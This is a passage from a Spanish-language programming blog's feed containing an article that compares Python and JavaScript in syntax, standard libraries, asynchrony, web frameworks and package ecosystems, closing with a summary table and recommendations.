style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; MiClase {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  constructor(propiedad) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;this&lt;/span&gt;.propiedad &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; propiedad;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;(argumento, argumento_por_defecto&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;predeterminado&amp;#34;&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; myFirstArgument &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; arguments[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; myFirstArgument&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;try&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  functionThatCausesError();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#ff6ac1&#34;&gt;catch&lt;/span&gt;(error){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  console.error(error);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;sintaxis-de-python&#34;&gt;Sintaxis de Python&lt;/h3&gt;&#xA;&lt;p&gt;Por otro lado, &lt;strong&gt;Python favorece la legibilidad, el uso de caracteres especiales se encuentra reducido al mínimo y la separación para las partes del código se hace por medio de indentaciones y saltos de linea&lt;/strong&gt;. Python usa &lt;em&gt;self&lt;/em&gt; para referirse al propio objecto y requiere que se pase como primer argumento a cada método del objeto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# True con mayusculas&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;resultado&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;También puedes incluir punto y coma al final, pero la convención es no hacerlo&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;MiClase&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, propiedad):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;propiedad &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; propiedad&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;funcion&lt;/span&gt;(argumento_por_defecto &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;predeterminado&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    mi_lista_de_argumentos &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; args&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    mi_diccionario_de_argumentos &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; kwargs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; mi_list_de_argumentos&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;try&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  do_something()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;except&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;An exception occurred&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Las diferencias de sintaxis son mucho más extensas que las que aquí expongo, cada uno tiene sus propias funciones, sus propias librerías integradas y una sintaxis diferente, pero espero que al menos hayas apreciado las pequeñas diferencias entre ambos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;librerias-estandar-comparacion-entre-python-y-javascript&#34;&gt;Librerías estándar, comparación entre Python y Javascript&lt;/h2&gt;&#xA;&lt;p&gt;Python se caracteriza por ser un lenguaje con baterías incluidas, es decir, ya incluye por defecto muchísimas funcionalidades que solo tienes que importar para empezar a usarlas, ¿quieres trabajar con redes? importa el modulo socket, ¿quieres crear un GUI?, usa tkinter, ¿manipular audio?, usa audioop. Python incluye librerías para la mayoría de las necesidades comunes. Incluso incluye numpy, una poderosa librería para el análisis númerico.&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, Javascript incluye solo lo necesario, aunque tiene una gigantesca comunidad de usuarios creando paquetes y poniéndolos a disposición de cualquiera que quiera tomarlos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;capacidad-de-asincronismo-javascript-vs-python&#34;&gt;Capacidad de asincronismo Javascript vs Python&lt;/h2&gt;&#xA;&lt;h3 id=&#34;asincronismo-en-javascript&#34;&gt;Asincronismo en Javascript&lt;/h3&gt;&#xA;&lt;p&gt;Las funciones asíncronas de javascript se ejecutan en un hilo separado y regresan al principal cuando se completan.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;(){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; downloadData()}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;asincronismo-en-python&#34;&gt;Asincronismo en Python&lt;/h3&gt;&#xA;&lt;p&gt;En Python las funciones asíncronas corren en un hilo sencillo y únicamente cambian a otra corrutina cuando una operación asíncrona es encontrada.&lt;/p&gt;&#xA;&lt;p&gt;A partir de Python 3.5 se incorpora asincronismo mediante la misma sintaxis de async y await&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Tortoise, run_async&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; database.connectToDatabase &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; connectToDatabase&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; connectToDatabase()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; Tortoise&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;generate_schemas()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;__name__&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    run_async(main())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;frameworks-para-desarrollo-web-de-python-y-javascript&#34;&gt;Frameworks para desarrollo web de Python y Javascript&lt;/h2&gt;&#xA;&lt;p&gt;Javascript y Python tienen bastantes frameworks para elegir cuando se trata de desarrollo web.&lt;/p&gt;&#xA;&lt;h3 id=&#34;frameworks-web-para-javascript&#34;&gt;Frameworks web para Javascript&lt;/h3&gt;&#xA;&lt;p&gt;Existen muchísimos frameworks de &lt;strong&gt;Javascript para desarrollo web tanto para el backend como para el frontend&lt;/strong&gt;; para el backend&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;express&lt;/li&gt;&#xA;&lt;li&gt;nustjs&lt;/li&gt;&#xA;&lt;li&gt;meteor&lt;/li&gt;&#xA;&lt;li&gt;sails&lt;/li&gt;&#xA;&lt;li&gt;vue&lt;/li&gt;&#xA;&lt;li&gt;react&lt;/li&gt;&#xA;&lt;li&gt;svelte&lt;/li&gt;&#xA;&lt;li&gt;angular&lt;/li&gt;&#xA;&lt;li&gt;adonisjs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/javascript-frameworks.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/javascript-frameworks.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Frameworks de desarrollo web para Javascript&#34; width=&#34;800&#34; height=&#34;368&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Incluso aún a pesar de la abundancia de opciones que hay salen nuevos frameworks de Javascript más frecuentemente que para Python.&lt;/p&gt;&#xA;&lt;h3 id=&#34;frameworks-web-para-python&#34;&gt;Frameworks web para Python&lt;/h3&gt;&#xA;&lt;p&gt;Debido a que Python no se encuentra instalado en los navegadores, &lt;strong&gt;el desarrollo web actual usando Python se centra principalmente en la parte del Backend&lt;/strong&gt;, donde tenemos soluciones bastante maduras como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;Django, con sus ventajas y desventajas&lt;/a&gt;&#xA;, o Flask y algunas más modernas como el rapidísimo &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/python-fastapi-el-mejor-framework-de-python/&#34;&gt;framework de desarrollo web FastAPI&lt;/a&gt;&#xA;, del que ya escribí una entrada anteriormente.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Django&lt;/li&gt;&#xA;&lt;li&gt;Fastapi&lt;/li&gt;&#xA;&lt;li&gt;Flask&lt;/li&gt;&#xA;&lt;li&gt;Pyramid&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/python-frameworks.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/python-frameworks.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Frameworks de desarrollo web de Python&#34; width=&#34;800&#34; height=&#34;368&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Puedes escribir código HTML y CSS usando Python para el frontend, pero nunca tendrás la misma versatilidad que ejecutar código javascript directamente en el navegador del usuario.&lt;/p&gt;&#xA;&lt;p&gt;Actualización: Me enteré de una librería que está ganando popularidad, llamada htmx, que te permite generar aplicaciones modernas devolviendo html en lugar de respuestas JSON. Entra en mi entrada sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/django-y-htmx-web-apps-modernas-sin-escribir-js/&#34;&gt;django y htmx&lt;/a&gt;&#xA; para conocer más.&lt;/p&gt;&#xA;&lt;h2 id=&#34;paquetes-con-pypi-y-npm&#34;&gt;Paquetes con pypi y NPM&lt;/h2&gt;&#xA;&lt;p&gt;Tanto la comunidad de Python, como la de Javascript, tienen librerías disponibles que solucionan la mayoría de los problemas más comunes a la hora de programar.&lt;/p&gt;&#xA;&lt;h3 id=&#34;paquetes-en-javascript&#34;&gt;Paquetes en Javascript&lt;/h3&gt;&#xA;&lt;p&gt;Javascript usa npm para el manejo de paquetes y hay bastantes de donde elegir. En junio del 2019 npm &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://snyk.io/blog/npm-passes-the-1-millionth-package-milestone-what-can-we-learn/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;superó el millón de paquetes publicados&lt;/a&gt;&#xA;. ¡Muchísima variedad para elegir! Aunque también te encuentras cosas como esta:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/IsOddPackageNpm-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/IsOddPackageNpm-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Paquete is-odd de NPM&#34; width=&#34;1294&#34; height=&#34;733&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;El paquete para saber si un número es impar tiene casi medio millón de descargas&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/meme-is-odd-js.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/meme-is-odd-js.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme del rapero usando el paquete is-odd en lugar de el operador modulo.&#34; width=&#34;960&#34; height=&#34;891&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Meme del rapero burlándose de la cantidad de descargas&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;paquetes-en-python&#34;&gt;Paquetes en Python&lt;/h3&gt;&#xA;&lt;p&gt;Pypi es la plataforma principal encargada del manejo de paquetes en Python. En la fecha en la que se actualizó este artículo &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pypi.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Pypi tiene 348,000 paquetes publicados&lt;/a&gt;&#xA;, ¡solo una quinta parte de la cantidad que tiene Javascript! Y como son menos paquetes podemos esperar paquetes más relevantes ¿no? A ver&amp;hellip;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/IsOddPythonPackage.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/IsOddPythonPackage.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Paquete is-odd de pip&#34; width=&#34;1221&#34; height=&#34;908&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python también tiene un paquete que revisa si un número es impar&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;cual-es-mejor-python-o-javascript&#34;&gt;¿Cuál es mejor Python o Javascript?&lt;/h2&gt;&#xA;&lt;p&gt;Espero que esta pequeña comparación te haya mostrado un poco las diferencias que existen entre ambos lenguajes y si estás pensando en centrarte en alguno de ellos tengas más información sobre la mesa para tomar la decisión correcta.&lt;/p&gt;&#xA;&lt;p&gt;Si te urge empezar a desarrollar sitios web ya, sin complicarte, yo me iría por Javascript.&lt;/p&gt;&#xA;&lt;p&gt;Si quieres dedicarte al machine learning y análisis de datos, o quieres una solución más integral en los sitios web y más flexibilidad, yo me iría por Python.&lt;/p&gt;&#xA;&lt;p&gt;De cualquiera manera no tienes porque reducirlo todo a una dicotomía, si tienes tiempo para dedicarle a ambos puedes hacerlo, muchos desarrolladores web dominan múltiples lenguajes y los usan indistintamente de acuerdo a sus necesidades.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Python y Javascript son dos de los lenguajes más populares entre las personas que están aprendiendo a programar, ambos son legibles, sencillos y con una curva de aprendizaje bastante plana si los comparamos con lenguajes como C, C++, Java o Rust. Ambos con sus fortalezas, debilidades, sus haters y sus defensores.&lt;/p&gt;&#xA;&lt;p&gt;También tengo una comparación de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/python-vs-go-cual-es-el-mejor-lenguaje-de-programacion/&#34;&gt;Python vs Go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Por cierto, aquí están &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/mis-libros-favoritos-para-aprender-a-programar-en-python/&#34;&gt;mis recursos y libros favoritos para aprender Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;javascript-vs-python-comparacion-tldr&#34;&gt;Javascript vs Python comparación TLDR&lt;/h2&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Categoría&lt;/th&gt;&#xA;          &lt;th&gt;Python&lt;/th&gt;&#xA;          &lt;th&gt;JavaScript&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Usos principales&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Machine Learning, AI, scripting, backend web, análisis de datos&lt;/td&gt;&#xA;          &lt;td&gt;Desarrollo web (frontend y backend), aplicaciones interactivas en navegador&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Popularidad&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Más popular según StackOverflow (2023)&lt;/td&gt;&#xA;          &lt;td&gt;Menos popular que Python, pero TypeScript (su superset) es ligeramente más popular&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Salarios&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Ligeramente mejor pagado (según StackOverflow 2023)&lt;/td&gt;&#xA;          &lt;td&gt;Salarios competitivos, pero algo menores que Python&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Antigüedad&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Más maduro (creado en los 80)&lt;/td&gt;&#xA;          &lt;td&gt;Creado en los 90, diseñado con prisas (inconsistencias en el lenguaje)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Rendimiento&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Más lento (interpretado)&lt;/td&gt;&#xA;          &lt;td&gt;Más rápido (compilación JIT en motores modernos como Node)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Tipado&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Fuertemente tipado (no permite cambios implícitos de tipo)&lt;/td&gt;&#xA;          &lt;td&gt;Débilmente tipado (permite cambios implícitos, ej: &lt;code&gt;1 + &amp;quot;1&amp;quot; = &amp;quot;11&amp;quot;&lt;/code&gt;)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Tipado opcional&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Soporta tipado opcional (desde Python 3.5)&lt;/td&gt;&#xA;          &lt;td&gt;TypeScript añade tipado fuerte&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Sintaxis&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Basada en indentación, menos caracteres especiales&lt;/td&gt;&#xA;          &lt;td&gt;Similar a C/C++ (llaves, puntos y coma)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Librerías estándar&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Amplia biblioteca estándar (&amp;ldquo;baterías incluidas&amp;rdquo;)&lt;/td&gt;&#xA;          &lt;td&gt;Librerías mínimas, pero gran ecosistema de paquetes (npm)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Asincronismo&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Async/await (desde Python 3.5), corre en un solo hilo&lt;/td&gt;&#xA;          &lt;td&gt;Async/await nativo, ejecución en hilos separados&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Frameworks web&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Enfocado en backend (Django, Flask, FastAPI)&lt;/td&gt;&#xA;          &lt;td&gt;Full-stack (React, Angular, Vue para frontend; Express, NestJS para backend)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Paquetes&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;~348k en PyPI (menos cantidad, pero más relevantes)&lt;/td&gt;&#xA;          &lt;td&gt;+1 millón en npm (más variedad, pero paquetes redundantes)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Soporte en navegadores&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;No soportado nativamente&lt;/td&gt;&#xA;          &lt;td&gt;Ejecución nativa en navegadores&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Entorno de ejecución&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Instalado por defecto en Linux&lt;/td&gt;&#xA;          &lt;td&gt;Node.js para ejecución fuera del navegador&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h3 id=&#34;cual-elegir-python-o-javascript&#34;&gt;¿Cuál elegir Python o Javascript?&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Te recomiendo JavaScript&lt;/strong&gt; si:&lt;br&gt;&#xA;✔ Te interesa el desarrollo web, ya sea frontend o backend, no importa ya.&lt;br&gt;&#xA;✔ Mayor velocidad de ejecución (aunque no tanto como lenguajes compilados).&lt;br&gt;&#xA;✔ Buscas un ecosistema masivo de librerías para no reinventar la rueda e iterar más rápido (npm).&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo crear un historial de productos con django y redis?</title>
